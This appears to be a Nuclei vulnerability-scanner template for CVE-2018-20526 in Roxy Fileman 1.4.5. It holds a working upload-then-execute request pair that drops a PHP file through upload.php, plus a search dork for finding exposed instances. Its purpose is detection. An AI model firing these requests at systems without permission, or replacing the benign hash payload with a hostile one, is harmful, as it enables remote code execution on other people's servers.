id: CVE-2018-20526

info:
  name: Roxy Fileman 1.4.5 - Unrestricted File Upload
  author: DhiyaneshDK
  severity: critical
  description: |
    Roxy Fileman 1.4.5 is susceptible to unrestricted file upload via upload.php. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  remediation: |
    Upgrade to a patched version of Roxy Fileman or apply the necessary security patches to prevent unrestricted file uploads.
  reference:
    - http://packetstormsecurity.com/files/151033/Roxy-Fileman-1.4.5-File-Upload-Directory-Traversal.html
    - https://www.exploit-db.com/exploits/46085/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20526
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-20526
    cwe-id: CWE-434
    epss-score: 0.01112
    epss-percentile: 0.82841
    cpe: cpe:2.3:a:roxyfileman:roxy_fileman:1.4.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: roxyfileman
    product: roxy_fileman
    google-query: intitle:"Roxy file manager"
  tags: cve,cve2018,roxy,fileman,rce,fileupload,intrusive,packetstorm,edb,roxyfileman

http:
  - raw:
      - |
        POST /php/upload.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary20kgW2hEKYaeF5iP
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}
        Accept-Encoding: gzip, deflate
        Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

        ------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="action"

        upload
        ------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="method"

        ajax
        ------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="d"

        /Uploads
        ------WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.php7"
        Content-Type: application/octet-stream

        <?php
        echo md5('CVE-2018-20526');
        ?>

        ------WebKitFormBoundary20kgW2hEKYaeF5iP--
      - |
        GET /Uploads/{{randstr}}.php7 HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "f76d6a5f7491700cc3a678bdba2902d3"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022004bad2a84f6f38bd954cfa29d073159e2125e9704320eda00e1dbbe3257319df022100cf596513de9134e4108271fa16482451b0a8441072baef9808589a583575beca:922c64590222798bb761d5b6d8e72950